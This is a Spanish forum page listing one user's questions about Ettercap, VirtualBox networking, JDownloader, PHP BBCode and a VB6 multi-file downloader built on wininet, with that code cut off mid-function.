Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - aaronduran2

#46
Hola. No estoy muy seguro de que el tema vaya aquí.
El caso es, ¿qué certificado usan las conexiones seguras de Google en Firefox?

Gracias de antemano.
#47
Redes / Instalar plugin SSL en Ettercap
31 Mayo 2010, 22:09 PM
Hola. Estaba trabajando con Ettercap en Windows, y no soy capaz de hacer que trabaje con SSL. Estuve buscando la forma de instalarle el plugin, o algo parecido, pero no encuentro la manera. ¿Sabéis cómo se puede instalar?

Gracias de antemano.
#48
Hola. No estoy muy seguro si esto va aquí.

Os explico mi duda; tengo dos máquinas virtuales hechas (XP SP3 y Ubuntu), y quiero crear una red local entre esas dos específicamente, la de XP sin acceso a Internet, y la que tiene Ubuntu con él (NAT o Bridge), sin que la máquina real esté en ella. El grupo de trabajo es el mismo.
La pregunta es: ¿cómo debería configurar las opciones de red de las máquinas virtuales y las propias máquinas para que se crease una red LAN?

Utilizo VirtualBox 3.2 (última versión).

Saludos y gracias de antemano.
#49
Hola. Quería saber cuál es el archivo del JDownloader donde se almacenan las cuentas premium utilizadas. Estuve buscando pero no lo encuentro.

Gracias de antemano.
#50
Hola. Estoy intentando hacerle creer a mi ordenador que la tarjeta Wifi es una tarjeta Ethernet, ya que hay varios programas que no me permiten utilizarla. Lo estuve intentando haciendo un puente entre la tarjeta Ethernet real (sin conexión), y la de Wifi, pero no funciona. Tengo W7.

Gracias de antemano.
#51
PHP / Crear índice de temas
12 Abril 2010, 01:54 AM
Hola. Estaba buscando la forma de hacer un índice automático para los temas de un foro. Estuve buscando algunos ejemplos, pero no encontré nada adecuado. ¿Sabría alguien por dónde empezar?

Gracias de antemano.
#52
PHP / Creando BBCode
1 Abril 2010, 19:42 PM
Hola. Estoy intentando crear un BBCode para mi foro similar al "code", pero para colocar enlaces de descarga. La base la tengo hecha, pero hay algo que no soy capaz de solucionar.
Introduzcas el texto que introduzcas, los enlaces te los detecta como tal, y por lo tanto, te permite hacer clic en él. Lo que yo quería crear era algo como el "code", que no lo detecte como enlace, sino como texto normal.

¿Alguien tiene alguna idea de cómo podría hacerlo?
Gracias de antemano ;)
#53
Hola. Estoy intentando agregar la funcionalidad de cambiar la relación de aspecto en un reproductor de vídeo, pero no sé exactamente qué tengo que poner.
Utilizo la API mciSendString para ello.

Código (vb) [Seleccionar]
Private Sub Form_Resize()
   picVideo.Height = Me.ScaleHeight: picVideo.Width = Me.ScaleWidth
   c_Reproductor.EstablecerPosicionVentana 0, 0, picVideo.Width / Screen.TwipsPerPixelX, picVideo.Height / Screen.TwipsPerPixelY
End Sub


Con esto aparecía por defecto con la relación del vídeo, pero, ¿qué medidas debería poner para, por ejemplo, una relación de 16:9?
Al estilo del VLC Media Player.

Saludos y gracias de antemano.
#54
Hola. Vi un ejemplo de cobein que permitía leer los detalles de un ejecutable, pero estuve buscando y no encontré alguno para establecerlos.
¿Alguien tiene alguno?

Gracias de antemano.
#55
Hola. Estoy haciendo un downloader de archivos, y hasta ahora, las descargas iban una por una (desde un ListView).
Pero quería mejorarlo y que se descargasen múltiples archivos, por lo que intenté crear una colección, pero no me salió.

Este es el código que tengo hasta ahora:

Código (vb) [Seleccionar]
Dim cDescarga As clsDescarga
Dim cColeccionDescargas As New Collection

Dim s_NombreArchivo As String, s_URLDescarga As String, s_RutaDestino As String

Private Sub cmdAgregarDescarga_Click()
        Set cDescarga = New clsDescarga

       With lvwDescargas.ListItems.Add(, , s_NombreArchivo)
           .SubItems(1) = s_URLDescarga
       End With

       cDescarga.URL = s_URLDescarga
       cDescarga.Fichero = s_RutaDestino
       cDescarga.Descargar
       cItemDescarga.Add cDescarga
End Sub

Private Sub tmrEstado_Timer()
   For i = 1 To cColeccionDescargas.Count
       With lvwDescargas.ListItems(i)
           .SubItems(2) = cColeccionDescargas(i).BytesRecibidos & "/" & cColeccionDescargas(i).BytesTotales
       End With
   Next
End Sub


Y este es el módulo de clase:

Código (vb) [Seleccionar]
Option Explicit
Private Protocolo As String, Servidor As String, Objeto As String, Servicio As Long
Private URLCorrecta As Boolean, TipoConexion As Long
Private hInternetSession As Long, hInternetConnect As Long, hHttpOpenRequest As Long


Public Enum jrDownTipoAccion
   jrDownSoloInformacion = 0
   jrDownDescargar = 1
End Enum

'constantes de error
Private Const ERROR_URL As Long = 1
Private Const ERROR_INTERNETOPEN = 2
Private Const ERROR_INTERNETCONNECT = 3
Private Const ERROR_INTERNETOPENREQUEST = 4
Private Const ERROR_INTERNETSENDREQUEST = 5
Private Const ERROR_INTERNETQUERYINFO = 6
Private Const ERROR_INTERNETREADFILE = 7
Private Const ERROR_FICHERO = 8
Private Const ERROR_DESCARGA = 999
Private Const ERROR_CANCELADO = 998


'declaraciones del API
Const scUserAgent = "jrDownload"
Const INTERNET_OPEN_TYPE_PRECONFIG = 0
Const INTERNET_OPEN_TYPE_DIRECT = 1
Const INTERNET_OPEN_TYPE_PROXY = 3
Const INTERNET_FLAG_RELOAD = &H80000000
Const HTTP_QUERY_CONTENT_TYPE = 1
Const HTTP_QUERY_CONTENT_LENGTH = 5
Const HTTP_QUERY_EXPIRES = 10
Const HTTP_QUERY_LAST_MODIFIED = 11
Const HTTP_QUERY_PRAGMA = 17
Const HTTP_QUERY_VERSION = 18
Const HTTP_QUERY_STATUS_CODE = 19
Const HTTP_QUERY_STATUS_TEXT = 20
Const HTTP_QUERY_RAW_HEADERS = 21
Const HTTP_QUERY_RAW_HEADERS_CRLF = 22
Const HTTP_QUERY_FORWARDED = 30
Const HTTP_QUERY_SERVER = 37
Const HTTP_QUERY_USER_AGENT = 39
Const HTTP_QUERY_SET_COOKIE = 43
Const HTTP_QUERY_REQUEST_METHOD = 45
Const HTTP_QUERY_FLAG_REQUEST_HEADERS = &H80000000
'Puertos por defecto
Const INTERNET_DEFAULT_FTP_PORT = 21
Const INTERNET_DEFAULT_GOPHER_PORT = 70
Const INTERNET_DEFAULT_HTTP_PORT = 80
Const INTERNET_DEFAULT_HTTPS_PORT = 443
Const INTERNET_DEFAULT_SOCKS_PORT = 1080
' Tipos de servicios
Const INTERNET_SERVICE_FTP = 1
Const INTERNET_SERVICE_GOPHER = 2
Const INTERNET_SERVICE_HTTP = 3
'funciones del API para internet
Private Declare Function InternetOpen Lib "wininet" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Private Declare Function InternetCloseHandle Lib "wininet" (ByVal hInet As Long) As Integer
Private Declare Function InternetReadFile Lib "wininet" (ByVal hFile As Long, ByVal sBuffer As String, ByVal lNumBytesToRead As Long, lNumberOfBytesRead As Long) As Integer
Private Declare Function InternetConnect Lib "wininet.dll" Alias _
       "InternetConnectA" (ByVal InternetSession As Long, _
       ByVal sServerName As String, ByVal nServerPort As Integer, _
       ByVal sUsername As String, ByVal sPassword As String, _
       ByVal lService As Long, ByVal lFlags As Long, _
       ByVal lContext As Long) As Long
Private Declare Function HttpOpenRequest Lib "wininet.dll" Alias _
       "HttpOpenRequestA" (ByVal hHttpSession As Long, ByVal sVerb As _
       String, ByVal sObjectName As String, ByVal sVersion As String, _
       ByVal sReferer As String, ByVal something As Long, ByVal lFlags _
       As Long, ByVal lContext As Long) As Long
Private Declare Function HttpSendRequest Lib "wininet.dll" Alias _
       "HttpSendRequestA" (ByVal hHttpRequest As Long, ByVal sHeaders _
       As String, ByVal lHeadersLength As Long, sOptional As Any, _
       ByVal lOptionalLength As Long) As Integer
Private Declare Function HttpQueryInfo Lib "wininet.dll" Alias "HttpQueryInfoA" _
       (ByVal hHttpRequest As Long, ByVal lInfoLevel As Long, ByRef sBuffer As Any, _
       ByRef lBufferLength As Long, ByRef lIndex As Long) As Integer
'para crear un nombre de fichero temporal y único
Private Declare Function GetTempFileName Lib "kernel32" Alias "GetTempFileNameA" (ByVal lpszPath As String, ByVal lpPrefixString As String, ByVal wUnique As Long, ByVal lpTempFileName As String) As Long
'para obtener descripción de errores del sistema
Private Declare Function GetLastError Lib "kernel32" () As Long
Private Declare Function FormatMessage Lib "kernel32" Alias "FormatMessageA" _
   (ByVal dwFlags As Long, lpSource As Any, ByVal dwMessageId As Long, _
   ByVal dwLanguageId As Long, ByVal lpBuffer As String, ByVal nSize As Long, _
   Arguments As Long) As Long
Private Const FORMAT_MESSAGE_FROM_SYSTEM = &H1000
'para obtener el tiempo de descarga
Private Declare Function GetTickCount Lib "kernel32" () As Long
'variables locales para almacenar los valores de las propiedades
Private mvarURL As String 'copia local
Private mvarHuboError As Boolean 'copia local
Private mvarStatusCode As String 'copia local
Private mvarStatusText As String 'copia local
Private mvarUsarProxy As String 'copia local
Private mvarNoUsarProxy As String 'copia local
Private mvarUsuario As String 'copia local
Private mvarPassword As String 'copia local
Private mvarFichero As String 'copia local
Private mvarContenidoDescargado As String 'copia local
Private mvarPuerto As Long 'copia local
Private mvarQContentType As Boolean 'copia local
Private mvarQContentLength As Boolean 'copia local
Private mvarQLastModified As Boolean 'copia local
Private mvarQVersion As Boolean 'copia local
Private mvarQRawHeaders As Boolean 'copia local
Private mvarQRawHeadersCrLf As Boolean 'copia local
Private mvarQForwarded As Boolean 'copia local
Private mvarQServer As Boolean 'copia local
Private mvarQRequestMethod As Boolean 'copia local
Private mvarQPragma As Boolean 'copia local
Private mvarQContentLengthStr As String 'copia local
Private mvarQContentTypeStr As String 'copia local
Private mvarQForwardedStr As String 'copia local
Private mvarQLastModifiedStr As String 'copia local
Private mvarQPragmaStr As String 'copia local
Private mvarQRawHeadersStr As String 'copia local
Private mvarQRequestMethodStr As String 'copia local
Private mvarQServerStr As String 'copia local
Private mvarQVersionStr As String 'copia local
Private mvarQRawHeadersCrLfStr As String 'copia local
Private mvarQExpires As Boolean 'copia local
Private mvarQExpiresStr As String 'copia local
Private mvarBytesBloqueDescarga As Long 'copia local

'Para activar este evento, use RaiseEvent con la siguiente sintaxis:
'RaiseEvent Progreso[(arg1, arg2, ... , argn)]
Public BytesTotales As Long, BytesRecibidos As Long, Porcentaje As Double, SegundosTranscurridos As Long, SegundosRestantes As Double, BytesPorSegundo As Long, Cancelar As Boolean
Public Property Let BytesBloqueDescarga(ByVal vData As Long)
'se usa al asignar un valor a la propiedad, en la parte izquierda de una asignación.
'Syntax: X.BytesBloqueDescarga = 5
   mvarBytesBloqueDescarga = vData
End Property


Public Property Get BytesBloqueDescarga() As Long
'se usa al recuperar un valor de una propiedad, en la parte derecha de una asignación.
'Syntax: Debug.Print X.BytesBloqueDescarga
   BytesBloqueDescarga = mvarBytesBloqueDescarga
End Property




Private Function LastSystemError() As String
Dim sError As String * 500, lErrNum As Long, lErrMsg As Long

lErrNum = GetLastError()
lErrMsg = FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, _
 ByVal 0&, lErrNum, 0, sError, Len(sError), 0)
LastSystemError = left(sError, InStr(sError, Chr(0) - 1))
End Function

Private Sub CierraConexiones()
If hHttpOpenRequest <> 0 Then InternetCloseHandle hHttpOpenRequest
If hInternetConnect <> 0 Then InternetCloseHandle hInternetConnect
If hInternetSession <> 0 Then InternetCloseHandle hInternetSession
End Sub

Public Property Let QExpiresStr(ByVal vData As String)
'se usa al asignar un valor a la propiedad, en la parte izquierda de una asignación.
'Syntax: X.QExpiresStr = 5
   mvarQExpiresStr = vData
End Property


Public Property Get QExpiresStr() As String
'se usa al recuperar un valor de una propiedad, en la parte derecha de una asignación.
'Syntax: Debug.Print X.QExpiresStr
   QExpiresStr = mvarQExpiresStr
End Property



Public Property Let QExpires(ByVal vData As Boolean)
'se usa al asignar un valor a la propiedad, en la parte izquierda de una asignación.
'Syntax: X.QExpires = 5
   mvarQExpires = vData
End Property


Public Property Get QExpires() As Boolean
'se usa al recuperar un valor de una propiedad, en la parte derecha de una asignación.
'Syntax: Debug.Print X.QExpires
   QExpires = mvarQExpires
End Property




Public Property Let QRawHeadersCrLfStr(ByVal vData As String)
'se usa al asignar un valor a la propiedad, en la parte izquierda de una asignación.
'Syntax: X.QRawHeadersCrLfStr = 5
   mvarQRawHeadersCrLfStr = vData
End Property


Public Property Get QRawHeadersCrLfStr() As String
'se usa al recuperar un valor de una propiedad, en la parte derecha de una asignación.
'Syntax: Debug.Print X.QRawHeadersCrLfStr
   QRawHeadersCrLfStr = mvarQRawHeadersCrLfStr
End Property




Private Sub InicializaCabecerasStr()
mvarQContentLengthStr = ""
mvarQContentTypeStr = ""
mvarQForwardedStr = ""
mvarQLastModifiedStr = ""
mvarQPragmaStr = ""
mvarQRawHeadersStr = ""
mvarQRequestMethodStr = ""
mvarQServerStr = ""
mvarQVersionStr = ""
mvarQRawHeadersCrLfStr = ""
End Sub


Public Property Get QVersionStr() As String
'se usa al recuperar un valor de una propiedad, en la parte derecha de una asignación.
'Syntax: Debug.Print X.QVersionStr
   QVersionStr = mvarQVersionStr
End Property





Public Property Get QServerStr() As String
'se usa al recuperar un valor de una propiedad, en la parte derecha de una asignación.
'Syntax: Debug.Print X.QServerStr
   QServerStr = mvarQServerStr
End Property





Public Property Get QRequestMethodStr() As String
'se usa al recuperar un valor de una propiedad, en la parte derecha de una asignación.
'Syntax: Debug.Print X.QRequestMethodStr
   QRequestMethodStr = mvarQRequestMethodStr
End Property





Public Property Get QRawHeadersStr() As String
'se usa al recuperar un valor de una propiedad, en la parte derecha de una asignación.
'Syntax: Debug.Print X.QRawHeadersStr
   QRawHeadersStr = mvarQRawHeadersStr
End Property





Public Property Get QPragmaStr() As String
'se usa al recuperar un valor de una propiedad, en la parte derecha de una asignación.
'Syntax: Debug.Print X.QPragmaStr
   QPragmaStr = mvarQPragmaStr
End Property





Public Property Get QLastModifiedStr() As String
'se usa al recuperar un valor de una propiedad, en la parte derecha de una asignación.
'Syntax: Debug.Print X.QLastModifiedStr
   QLastModifiedStr = mvarQLastModifiedStr
End Property





Public Property Get QForwardedStr() As String
'se usa al recuperar un valor de una propiedad, en la parte derecha de una asignación.
'Syntax: Debug.Print X.QForwardedStr
   QForwardedStr = mvarQForwardedStr
End Property





Public Property Get QContentTypeStr() As String
'se usa al recuperar un valor de una propiedad, en la parte derecha de una asignación.
'Syntax: Debug.Print X.QContentTypeStr
   QContentTypeStr = mvarQContentTypeStr
End Property





Public Property Get QContentLengthStr() As String
'se usa al recuperar un valor de una propiedad, en la parte derecha de una asignación.
'Syntax: Debug.Print X.QContentLengthStr
   QContentLengthStr = mvarQContentLengthStr
End Property



Public Property Let QPragma(ByVal vData As Boolean)
'se usa al asignar un valor a la propiedad, en la parte izquierda de una asignación.
'Syntax: X.QPragma = 5
   mvarQPragma = vData
End Property


Public Property Get QPragma() As Boolean
'se usa al recuperar un valor de una propiedad, en la parte derecha de una asignación.
'Syntax: Debug.Print X.QPragma
   QPragma = mvarQPragma
End Property



Public Property Let QRequestMethod(ByVal vData As Boolean)
'se usa al asignar un valor a la propiedad, en la parte izquierda de una asignación.
'Syntax: X.QRequestMethod = 5
   mvarQRequestMethod = vData
End Property


Public Property Get QRequestMethod() As Boolean
'se usa al recuperar un valor de una propiedad, en la parte derecha de una asignación.
'Syntax: Debug.Print X.QRequestMethod
   QRequestMethod = mvarQRequestMethod
End Property



Public Property Let QServer(ByVal vData As Boolean)
'se usa al asignar un valor a la propiedad, en la parte izquierda de una asignación.
'Syntax: X.QServer = 5
   mvarQServer = vData
End Property


Public Property Get QServer() As Boolean
'se usa al recuperar un valor de una propiedad, en la parte derecha de una asignación.
'Syntax: Debug.Print X.QServer
   QServer = mvarQServer
End Property



Public Property Let QForwarded(ByVal vData As Boolean)
'se usa al asignar un valor a la propiedad, en la parte izquierda de una asignación.
'Syntax: X.QForwarded = 5
   mvarQForwarded = vData
End Property


Public Property Get QForwarded() As Boolean
'se usa al recuperar un valor de una propiedad, en la parte derecha de una asignación.
'Syntax: Debug.Print X.QForwarded
   QForwarded = mvarQForwarded
End Property



Public Property Let QRawHeadersCrLf(ByVal vData As Boolean)
'se usa al asignar un valor a la propiedad, en la parte izquierda de una asignación.
'Syntax: X.QRawHeadersCrLf = 5
   mvarQRawHeadersCrLf = vData
End Property


Public Property Get QRawHeadersCrLf() As Boolean
'se usa al recuperar un valor de una propiedad, en la parte derecha de una asignación.
'Syntax: Debug.Print X.QRawHeadersCrLf
   QRawHeadersCrLf = mvarQRawHeadersCrLf
End Property



Public Property Let QRawHeaders(ByVal vData As Boolean)
'se usa al asignar un valor a la propiedad, en la parte izquierda de una asignación.
'Syntax: X.QRawHeaders = 5
   mvarQRawHeaders = vData
End Property


Public Property Get QRawHeaders() As Boolean
'se usa al recuperar un valor de una propiedad, en la parte derecha de una asignación.
'Syntax: Debug.Print X.QRawHeaders
   QRawHeaders = mvarQRawHeaders
End Property



Public Property Let QVersion(ByVal vData As Boolean)
'se usa al asignar un valor a la propiedad, en la parte izquierda de una asignación.
'Syntax: X.QVersion = 5
   mvarQVersion = vData
End Property


Public Property Get QVersion() As Boolean
'se usa al recuperar un valor de una propiedad, en la parte derecha de una asignación.
'Syntax: Debug.Print X.QVersion
   QVersion = mvarQVersion
End Property



Public Property Let QLastModified(ByVal vData As Boolean)
'se usa al asignar un valor a la propiedad, en la parte izquierda de una asignación.
'Syntax: X.QLastModified = 5
   mvarQLastModified = vData
End Property


Public Property Get QLastModified() As Boolean
'se usa al recuperar un valor de una propiedad, en la parte derecha de una asignación.
'Syntax: Debug.Print X.QLastModified
   QLastModified = mvarQLastModified
End Property



Public Property Let QContentLength(ByVal vData As Boolean)
'se usa al asignar un valor a la propiedad, en la parte izquierda de una asignación.
'Syntax: X.QContentLength = 5
   mvarQContentLength = vData
End Property


Public Property Get QContentLength() As Boolean
'se usa al recuperar un valor de una propiedad, en la parte derecha de una asignación.
'Syntax: Debug.Print X.QContentLength
   QContentLength = mvarQContentLength
End Property



Public Property Let QContentType(ByVal vData As Boolean)
'se usa al asignar un valor a la propiedad, en la parte izquierda de una asignación.
'Syntax: X.QContentType = 5
   mvarQContentType = vData
End Property


Public Property Get QContentType() As Boolean
'se usa al recuperar un valor de una propiedad, en la parte derecha de una asignación.
'Syntax: Debug.Print X.QContentType
   QContentType = mvarQContentType
End Property



Public Sub Descargar(Optional TipoAccion As jrDownTipoAccion = jrDownDescargar)
Dim BytesTotales As Long, BytesRecibidos As Long, BytesRecibidosTotales As Long, Porcentaje As Double
Dim sBuffer As String, Res As Integer, UsarPuerto As Long, NumBloques As Long
Dim FileName As String, Fich As Long, Contenido As String, aux As String
Dim Cancelar As Boolean
Dim TiempoTranscurrido As Long, TiempoRestante As Double, TiempoInicio As Long, BytesSegundo As Double

On Error Resume Next

Dim ChunkSize As Long

ChunkSize = mvarBytesBloqueDescarga

'inicializo propiedades
InicializaCabecerasStr
mvarHuboError = False
mvarStatusCode = ""
mvarStatusText = ""
mvarContenidoDescargado = ""
Cancelar = False

'compruebo que la URL esté introdocida y sea sintácticamente correcta
URLCorrecta = ProcesaURL()
If Not URLCorrecta Then
   mvarHuboError = True
   Exit Sub
End If
'Creo buffer para recibir el fichero
sBuffer = Space(ChunkSize)
'Creo una conexión a internet
If TipoConexion = INTERNET_OPEN_TYPE_PROXY Then
   hInternetSession = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_PROXY, mvarUsarProxy, mvarNoUsarProxy, 0)
Else
   hInternetSession = InternetOpen(scUserAgent, TipoConexion, vbNullString, vbNullString, 0)
End If
If hInternetSession = 0 Then
   ProcesaError ERROR_INTERNETOPEN
   Exit Sub
End If
'me conecto con el servidor
UsarPuerto = Puerto
hInternetConnect = InternetConnect(hInternetSession, Servidor, UsarPuerto, mvarUsuario, mvarPassword, Servicio, 0, 0)
If hInternetConnect = 0 Then
   ProcesaError ERROR_INTERNETCONNECT
   Exit Sub
End If
'abro una petición para el fichero solicitado
hHttpOpenRequest = HttpOpenRequest(hInternetConnect, "GET", Objeto, "HTTP/1.0", vbNullString, 0, INTERNET_FLAG_RELOAD, 0)
If hHttpOpenRequest = 0 Then
   ProcesaError ERROR_INTERNETOPENREQUEST
   Exit Sub
End If
'envío la petición
Res = HttpSendRequest(hHttpOpenRequest, vbNullString, 0, 0, 0)
If Res = 0 Then
   ProcesaError ERROR_INTERNETSENDREQUEST
   Exit Sub
End If
'miro la cabecera para ver si el fichero existe
If GetQueryInfo(hHttpOpenRequest, HTTP_QUERY_STATUS_TEXT, sBuffer) Then
   mvarStatusText = sBuffer
Else
   ProcesaError ERROR_INTERNETQUERYINFO
   Exit Sub
End If
If GetQueryInfo(hHttpOpenRequest, HTTP_QUERY_STATUS_CODE, sBuffer) Then
   mvarStatusCode = sBuffer
   If left(sBuffer, 1) <> "2" Then
       ProcesaError CLng(mvarStatusCode)
       Exit Sub
   End If
Else
   ProcesaError ERROR_INTERNETQUERYINFO
   Exit Sub
End If
'miro la longitud del contenido a descargar
If GetQueryInfo(hHttpOpenRequest, HTTP_QUERY_CONTENT_LENGTH, sBuffer) Then
   If IsNumeric(sBuffer) Then
       BytesTotales = CLng(sBuffer)
   Else
       BytesTotales = -1
   End If
   If mvarQContentLength Then mvarQContentLengthStr = sBuffer
Else
   BytesTotales = -1
End If
'busco el resto de valores de la cabecera, si lo ha solicitado el usuario
If mvarQContentType Then
   If GetQueryInfo(hHttpOpenRequest, HTTP_QUERY_CONTENT_TYPE, sBuffer) Then mvarQContentTypeStr = sBuffer
End If
If mvarQExpires Then
   If GetQueryInfo(hHttpOpenRequest, HTTP_QUERY_EXPIRES, sBuffer) Then mvarQExpiresStr = sBuffer
End If
If mvarQLastModified Then
   If GetQueryInfo(hHttpOpenRequest, HTTP_QUERY_LAST_MODIFIED, sBuffer) Then mvarQLastModifiedStr = sBuffer
End If
If mvarQPragma Then
   If GetQueryInfo(hHttpOpenRequest, HTTP_QUERY_PRAGMA + HTTP_QUERY_FLAG_REQUEST_HEADERS, sBuffer) Then mvarQPragmaStr = sBuffer
End If
If mvarQVersion Then
   If GetQueryInfo(hHttpOpenRequest, HTTP_QUERY_VERSION, sBuffer) Then mvarQVersionStr = sBuffer
End If
If mvarQRawHeaders Then
   If GetQueryInfo(hHttpOpenRequest, HTTP_QUERY_RAW_HEADERS, sBuffer) Then mvarQRawHeadersStr = sBuffer
End If
If mvarQRawHeadersCrLf Then
   If GetQueryInfo(hHttpOpenRequest, HTTP_QUERY_RAW_HEADERS_CRLF, sBuffer) Then mvarQRawHeadersCrLfStr = sBuffer
End If
If mvarQForwarded Then
   If GetQueryInfo(hHttpOpenRequest, HTTP_QUERY_FORWARDED, sBuffer) Then mvarQForwardedStr = sBuffer
End If
If mvarQServer Then
   If GetQueryInfo(hHttpOpenRequest, HTTP_QUERY_SERVER, sBuffer) Then mvarQServerStr = sBuffer
End If
If mvarQRequestMethod Then
   If GetQueryInfo(hHttpOpenRequest, HTTP_QUERY_FLAG_REQUEST_HEADERS + HTTP_QUERY_REQUEST_METHOD, sBuffer) Then mvarQRequestMethodStr = sBuffer
End If
'si sólo queríamos información del archivo, ya acabamos
If TipoAccion = jrDownSoloInformacion Then
   CierraConexiones
   Exit Sub
End If
'si tengo que grabar un fichero
If mvarFichero <> "" Then
   'obtengo un nombre de fichero temporal para guardar lo que descargue
   FileName = Space(260)
   GetTempFileName DameDirectorio(mvarFichero), "jrD", 0, FileName
   FileName = left(FileName, InStr(FileName, Chr$(0)) - 1)
   'abro el fichero
   Fich = FreeFile()
   Open FileName For Binary As Fich
Else
   'si conozco la longitud del archivo dimensiono el string porque se gana mucho en velocidad
   If BytesTotales <> -1 Then mvarContenidoDescargado = Space(BytesTotales)
End If
'leo el archivo de internet
'inicio el contador de tiempo
TiempoInicio = GetTickCount()
'inicio los bytes recibidos y el espacio a leer de cada vez
BytesRecibidosTotales = 0
Res = 1: BytesRecibidos = ChunkSize
sBuffer = Space(ChunkSize): NumBloques = 0
While Res <> 0 And BytesRecibidos <> 0 And Not Cancelar
   Res = InternetReadFile(hHttpOpenRequest, sBuffer, ChunkSize, BytesRecibidos)
   If Res = 0 Then
       mvarStatusText = LastSystemError()
       mvarStatusCode = "999"
   Else
       If BytesRecibidos > 0 Then
           aux = left(sBuffer, BytesRecibidos)
           'si estoy grabando un fichero...
           If mvarFichero <> "" Then
               Put Fich, , aux
           Else
               'si conozco el tamaño del archivo
               If BytesTotales <> -1 Then
                   Mid(mvarContenidoDescargado, (NumBloques * ChunkSize) + 1, BytesRecibidos) = aux
                   NumBloques = NumBloques + 1
               Else
                   mvarContenidoDescargado = mvarContenidoDescargado + aux
               End If
           End If
           BytesRecibidosTotales = BytesRecibidosTotales + BytesRecibidos
           TiempoTranscurrido = GetTickCount() - TiempoInicio
           BytesSegundo = BytesRecibidosTotales / (TiempoTranscurrido / 1000)
           'calcular el porcentaje descargado y lanzar el evento progreso
           If BytesTotales <> -1 Then
               Porcentaje = (BytesRecibidosTotales * 100) / BytesTotales
               TiempoRestante = (BytesTotales / BytesSegundo) - (TiempoTranscurrido / 1000)
           Else
               Porcentaje = 0
               TiempoRestante = 0
           End If
           If TiempoRestante < 0 Then TiempoRestante = 0
           'RaiseEvent Progreso(BytesTotales, BytesRecibidosTotales, Porcentaje, CLng(TiempoTranscurrido / 1000), CLng(TiempoRestante), CLng(BytesSegundo), Cancelar)
           DoEvents
       End If
   End If
Wend
'cierro el fichero
If mvarFichero <> "" Then Close Fich
'si el usuario canceló borro el fichero
If Cancelar Then
   If mvarFichero <> "" Then
       If Dir(FileName) <> "" Then Kill FileName
   End If
   ProcesaError ERROR_CANCELADO
   Exit Sub
Else
   'si acabó por un error borro el fichero (dejo la variable por si el contenido sirviera para algo)
   If Res = 0 Then
       If mvarFichero <> "" Then
           If Dir(FileName) <> "" Then Kill FileName
       End If
       ProcesaError ERROR_DESCARGA
       Exit Sub
   Else
       'cambio el nombre al fichero
       If mvarFichero <> "" Then
           If Dir(mvarFichero) <> "" Then Kill mvarFichero
       End If
       Name FileName As mvarFichero
   End If
End If
CierraConexiones
End Sub

Private Function DameDirectorio(Archivo As String) As String
Dim i As Long

'busco la última barra
i = InStrRev(Archivo, "\")
If i = 0 Then
   DameDirectorio = CurDir()
Else
   DameDirectorio = left(Archivo, i - 1)
End If
End Function

Private Function GetQueryInfo(ByVal hHttpRequest As Long, ByVal iInfoLevel As Long, Valor As String) As Boolean
Dim sBuffer As String * 1024, lBufferLength As Long

lBufferLength = Len(sBuffer)
GetQueryInfo = CBool(HttpQueryInfo(hHttpRequest, iInfoLevel, ByVal sBuffer, lBufferLength, 0))
lBufferLength = InStr(sBuffer, Chr(0))
Valor = left(sBuffer, lBufferLength - 1)
End Function



Public Property Let Puerto(ByVal vData As Long)
'se usa al asignar un valor a la propiedad, en la parte izquierda de una asignación.
'Syntax: X.Puerto = 5
   mvarPuerto = vData
End Property


Public Property Get Puerto() As Long
'se usa al recuperar un valor de una propiedad, en la parte derecha de una asignación.
'Syntax: Debug.Print X.Puerto
If mvarPuerto = 0 Then
   Select Case Protocolo
       Case "http": Puerto = INTERNET_DEFAULT_HTTP_PORT
       Case "https": Puerto = INTERNET_DEFAULT_HTTPS_PORT
   End Select
Else
   Puerto = mvarPuerto
End If
End Property






Public Property Get ContenidoDescargado() As String
'se usa al recuperar un valor de una propiedad, en la parte derecha de una asignación.
'Syntax: Debug.Print X.ContenidoDescargado
   ContenidoDescargado = mvarContenidoDescargado
End Property



Public Property Let Fichero(ByVal vData As String)
'se usa al asignar un valor a la propiedad, en la parte izquierda de una asignación.
'Syntax: X.Fichero = 5
   mvarFichero = vData
End Property


Public Property Get Fichero() As String
'se usa al recuperar un valor de una propiedad, en la parte derecha de una asignación.
'Syntax: Debug.Print X.Fichero
   Fichero = Trim(mvarFichero)
End Property



Public Property Let Password(ByVal vData As String)
'se usa al asignar un valor a la propiedad, en la parte izquierda de una asignación.
'Syntax: X.Password = 5
   mvarPassword = vData
End Property


Public Property Get Password() As String
'se usa al recuperar un valor de una propiedad, en la parte derecha de una asignación.
'Syntax: Debug.Print X.Password
   Password = mvarPassword
End Property



Public Property Let Usuario(ByVal vData As String)
'se usa al asignar un valor a la propiedad, en la parte izquierda de una asignación.
'Syntax: X.Usuario = 5
   mvarUsuario = vData
End Property


Public Property Get Usuario() As String
'se usa al recuperar un valor de una propiedad, en la parte derecha de una asignación.
'Syntax: Debug.Print X.Usuario
   Usuario = mvarUsuario
End Property




Public Property Let NoUsarProxy(ByVal vData As String)
'se usa al asignar un valor a la propiedad, en la parte izquierda de una asignación.
'Syntax: X.NoUsarProxy = 5
   mvarNoUsarProxy = vData
   If mvarUsarProxy = "" And mvarNoUsarProxy = "" Then
       TipoConexion = INTERNET_OPEN_TYPE_PRECONFIG
   Else
       TipoConexion = INTERNET_OPEN_TYPE_PROXY
   End If
End Property


Public Property Get NoUsarProxy() As String
'se usa al recuperar un valor de una propiedad, en la parte derecha de una asignación.
'Syntax: Debug.Print X.NoUsarProxy
   NoUsarProxy = mvarNoUsarProxy
End Property



Public Property Let UsarProxy(ByVal vData As String)
'se usa al asignar un valor a la propiedad, en la parte izquierda de una asignación.
'Syntax: X.UsarProxy = 5
   mvarUsarProxy = vData
   If mvarUsarProxy = "" And mvarNoUsarProxy = "" Then
       TipoConexion = INTERNET_OPEN_TYPE_PRECONFIG
   Else
       TipoConexion = INTERNET_OPEN_TYPE_PROXY
   End If

End Property


Public Property Get UsarProxy() As String
'se usa al recuperar un valor de una propiedad, en la parte derecha de una asignación.
'Syntax: Debug.Print X.UsarProxy
   UsarProxy = mvarUsarProxy
End Property




Private Sub ProcesaError(Numero As Long)

mvarStatusCode = Format(Numero, "000")

Select Case Numero
   Case ERROR_URL: mvarStatusText = "URL incorrecta."
